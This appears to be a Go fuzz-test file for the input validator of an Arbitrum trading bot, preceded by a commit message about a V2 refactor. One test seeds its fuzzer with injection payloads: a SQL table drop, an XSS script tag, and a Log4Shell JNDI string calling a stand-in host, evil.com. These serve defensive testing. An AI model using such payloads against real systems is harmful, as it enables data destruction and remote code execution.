Restructured project for V2 refactor: **Structure Changes:** - Moved all V1 code to orig/ folder (preserved with git mv) - Created docs/planning/ directory - Added orig/README_V1.md explaining V1 preservation **Planning Documents:** - 00_V2_MASTER_PLAN.md: Complete architecture overview - Executive summary of critical V1 issues - High-level component architecture diagrams - 5-phase implementation roadmap - Success metrics and risk mitigation - 07_TASK_BREAKDOWN.md: Atomic task breakdown - 99+ hours of detailed tasks - Every task < 2 hours (atomic) - Clear dependencies and success criteria - Organized by implementation phase **V2 Key Improvements:** - Per-exchange parsers (factory pattern) - Multi-layer strict validation - Multi-index pool cache - Background validation pipeline - Comprehensive observability **Critical Issues Addressed:** - Zero address tokens (strict validation + cache enrichment) - Parsing accuracy (protocol-specific parsers) - No audit trail (background validation channel) - Inefficient lookups (multi-index cache) - Stats disconnection (event-driven metrics) Next Steps: 1. Review planning documents 2. Begin Phase 1: Foundation (P1-001 through P1-010) 3. Implement parsers in Phase 2 4. Build cache system in Phase 3 5. Add validation pipeline in Phase 4 6. Migrate and test in Phase 5 🤖 Generated with [Claude Code](https://claude.com/claude-code) Co-Authored-By: Claude <noreply@anthropic.com>
268 lines
7.3 KiB
Go
268 lines
7.3 KiB
Go
package security
|
|
|
|
import (
|
|
"math/big"
|
|
"strings"
|
|
"testing"
|
|
"time"
|
|
|
|
"github.com/ethereum/go-ethereum/common"
|
|
"github.com/ethereum/go-ethereum/core/types"
|
|
)
|
|
|
|
// FuzzValidateAddress tests address validation with random inputs
|
|
func FuzzValidateAddress(f *testing.F) {
|
|
validator := NewInputValidator(42161) // Arbitrum chain ID
|
|
|
|
// Seed corpus with known patterns
|
|
f.Add("0x0000000000000000000000000000000000000000") // Zero address
|
|
f.Add("0xa0b86991c431c431c8f4c431c431c431c431c431c") // Valid address
|
|
f.Add("0xdeadbeefdeadbeefdeadbeefdeadbeefdeadbeef") // Suspicious pattern
|
|
f.Add("0x") // Short invalid
|
|
f.Add("") // Empty
|
|
f.Add("not_an_address") // Invalid format
|
|
|
|
f.Fuzz(func(t *testing.T, addrStr string) {
|
|
defer func() {
|
|
if r := recover(); r != nil {
|
|
t.Errorf("ValidateAddress panicked with input %q: %v", addrStr, r)
|
|
}
|
|
}()
|
|
|
|
// Test that validation doesn't crash on any input
|
|
if common.IsHexAddress(addrStr) {
|
|
addr := common.HexToAddress(addrStr)
|
|
result := validator.ValidateAddress(addr)
|
|
|
|
// Ensure result is never nil
|
|
if result == nil {
|
|
t.Error("ValidateAddress returned nil result")
|
|
}
|
|
|
|
// Validate result structure
|
|
if len(result.Errors) == 0 && !result.Valid {
|
|
t.Error("Result marked invalid but no errors provided")
|
|
}
|
|
}
|
|
})
|
|
}
|
|
|
|
// FuzzValidateString tests string validation with various injection attempts
|
|
func FuzzValidateString(f *testing.F) {
|
|
validator := NewInputValidator(42161)
|
|
|
|
// Seed with common injection patterns
|
|
f.Add("'; DROP TABLE users; --")
|
|
f.Add("<script>alert('xss')</script>")
|
|
f.Add("${jndi:ldap://evil.com/}")
|
|
f.Add("\x00\x01\x02\x03\x04")
|
|
f.Add(strings.Repeat("A", 10000))
|
|
f.Add("normal_string")
|
|
|
|
f.Fuzz(func(t *testing.T, input string) {
|
|
defer func() {
|
|
if r := recover(); r != nil {
|
|
t.Errorf("ValidateString panicked with input length %d: %v", len(input), r)
|
|
}
|
|
}()
|
|
|
|
result := validator.ValidateString(input, "test_field", 1000)
|
|
|
|
// Ensure validation completes
|
|
if result == nil {
|
|
t.Error("ValidateString returned nil result")
|
|
}
|
|
|
|
// Test sanitization
|
|
sanitized := validator.SanitizeInput(input)
|
|
|
|
// Ensure sanitized string doesn't contain null bytes
|
|
if strings.Contains(sanitized, "\x00") {
|
|
t.Error("Sanitized string still contains null bytes")
|
|
}
|
|
|
|
// Ensure sanitization doesn't crash
|
|
if len(sanitized) > len(input)*2 {
|
|
t.Error("Sanitized string unexpectedly longer than 2x original")
|
|
}
|
|
})
|
|
}
|
|
|
|
// FuzzValidateNumericString tests numeric string validation
|
|
func FuzzValidateNumericString(f *testing.F) {
|
|
validator := NewInputValidator(42161)
|
|
|
|
// Seed with various numeric patterns
|
|
f.Add("123.456")
|
|
f.Add("-123")
|
|
f.Add("0.000000000000000001")
|
|
f.Add("999999999999999999999")
|
|
f.Add("00123")
|
|
f.Add("123.456.789")
|
|
f.Add("1e10")
|
|
f.Add("abc123")
|
|
|
|
f.Fuzz(func(t *testing.T, input string) {
|
|
defer func() {
|
|
if r := recover(); r != nil {
|
|
t.Errorf("ValidateNumericString panicked with input %q: %v", input, r)
|
|
}
|
|
}()
|
|
|
|
result := validator.ValidateNumericString(input, "test_number")
|
|
|
|
if result == nil {
|
|
t.Error("ValidateNumericString returned nil result")
|
|
}
|
|
|
|
// If marked valid, should actually be parseable as number
|
|
if result.Valid {
|
|
if _, ok := new(big.Float).SetString(input); !ok {
|
|
// Allow some flexibility for our regex vs big.Float parsing
|
|
if !strings.Contains(input, ".") {
|
|
if _, ok := new(big.Int).SetString(input, 10); !ok {
|
|
t.Errorf("String marked as valid numeric but not parseable: %q", input)
|
|
}
|
|
}
|
|
}
|
|
}
|
|
})
|
|
}
|
|
|
|
// FuzzTransactionValidation tests transaction validation with random transaction data
|
|
func FuzzTransactionValidation(f *testing.F) {
|
|
validator := NewInputValidator(42161)
|
|
|
|
f.Fuzz(func(t *testing.T, nonce, gasLimit uint64, gasPrice, value int64, dataLen uint8) {
|
|
defer func() {
|
|
if r := recover(); r != nil {
|
|
t.Errorf("Transaction validation panicked: %v", r)
|
|
}
|
|
}()
|
|
|
|
// Constrain inputs to reasonable ranges
|
|
if gasLimit > 50000000 {
|
|
gasLimit = gasLimit % 50000000
|
|
}
|
|
if dataLen > 100 {
|
|
dataLen = dataLen % 100
|
|
}
|
|
|
|
// Create test transaction
|
|
data := make([]byte, dataLen)
|
|
for i := range data {
|
|
data[i] = byte(i % 256)
|
|
}
|
|
|
|
var gasPriceBig, valueBig *big.Int
|
|
if gasPrice >= 0 {
|
|
gasPriceBig = big.NewInt(gasPrice)
|
|
} else {
|
|
gasPriceBig = big.NewInt(-gasPrice)
|
|
}
|
|
|
|
if value >= 0 {
|
|
valueBig = big.NewInt(value)
|
|
} else {
|
|
valueBig = big.NewInt(-value)
|
|
}
|
|
|
|
to := common.HexToAddress("0x1234567890123456789012345678901234567890")
|
|
tx := types.NewTransaction(nonce, to, valueBig, gasLimit, gasPriceBig, data)
|
|
|
|
result := validator.ValidateTransaction(tx)
|
|
|
|
if result == nil {
|
|
t.Error("ValidateTransaction returned nil result")
|
|
}
|
|
})
|
|
}
|
|
|
|
// FuzzSwapParamsValidation tests swap parameter validation
|
|
func FuzzSwapParamsValidation(f *testing.F) {
|
|
validator := NewInputValidator(42161)
|
|
|
|
f.Fuzz(func(t *testing.T, amountIn, amountOut int64, slippage uint16, hoursFromNow int8) {
|
|
defer func() {
|
|
if r := recover(); r != nil {
|
|
t.Errorf("SwapParams validation panicked: %v", r)
|
|
}
|
|
}()
|
|
|
|
// Create test swap parameters
|
|
params := &SwapParams{
|
|
TokenIn: common.HexToAddress("0x1111111111111111111111111111111111111111"),
|
|
TokenOut: common.HexToAddress("0x2222222222222222222222222222222222222222"),
|
|
AmountIn: big.NewInt(amountIn),
|
|
AmountOut: big.NewInt(amountOut),
|
|
Slippage: uint64(slippage),
|
|
Deadline: time.Now().Add(time.Duration(hoursFromNow) * time.Hour),
|
|
Recipient: common.HexToAddress("0x3333333333333333333333333333333333333333"),
|
|
Pool: common.HexToAddress("0x4444444444444444444444444444444444444444"),
|
|
}
|
|
|
|
result := validator.ValidateSwapParams(params)
|
|
|
|
if result == nil {
|
|
t.Error("ValidateSwapParams returned nil result")
|
|
}
|
|
})
|
|
}
|
|
|
|
// FuzzBatchSizeValidation tests batch size validation with various inputs
|
|
func FuzzBatchSizeValidation(f *testing.F) {
|
|
validator := NewInputValidator(42161)
|
|
|
|
// Seed with known operation types
|
|
operations := []string{"transaction", "swap", "arbitrage", "query", "unknown"}
|
|
|
|
f.Fuzz(func(t *testing.T, size int, opIndex uint8) {
|
|
defer func() {
|
|
if r := recover(); r != nil {
|
|
t.Errorf("BatchSize validation panicked: %v", r)
|
|
}
|
|
}()
|
|
|
|
operation := operations[int(opIndex)%len(operations)]
|
|
|
|
result := validator.ValidateBatchSize(size, operation)
|
|
|
|
if result == nil {
|
|
t.Error("ValidateBatchSize returned nil result")
|
|
}
|
|
|
|
// Negative sizes should always be invalid
|
|
if size <= 0 && result.Valid {
|
|
t.Errorf("Negative/zero batch size %d marked as valid for operation %s", size, operation)
|
|
}
|
|
})
|
|
}
|
|
|
|
// Removed FuzzABIValidation to avoid circular import - moved to pkg/arbitrum/abi_decoder_fuzz_test.go
|
|
|
|
// BenchmarkInputValidation benchmarks validation performance under stress
|
|
func BenchmarkInputValidation(b *testing.B) {
|
|
validator := NewInputValidator(42161)
|
|
|
|
// Test with various input sizes
|
|
testInputs := []string{
|
|
"short",
|
|
strings.Repeat("medium_length_string_", 10),
|
|
strings.Repeat("long_string_with_repeating_pattern_", 100),
|
|
}
|
|
|
|
for _, input := range testInputs {
|
|
b.Run("ValidateString_len_"+string(rune(len(input))), func(b *testing.B) {
|
|
for i := 0; i < b.N; i++ {
|
|
validator.ValidateString(input, "test", 10000)
|
|
}
|
|
})
|
|
|
|
b.Run("SanitizeInput_len_"+string(rune(len(input))), func(b *testing.B) {
|
|
for i := 0; i < b.N; i++ {
|
|
validator.SanitizeInput(input)
|
|
}
|
|
})
|
|
}
|
|
}
|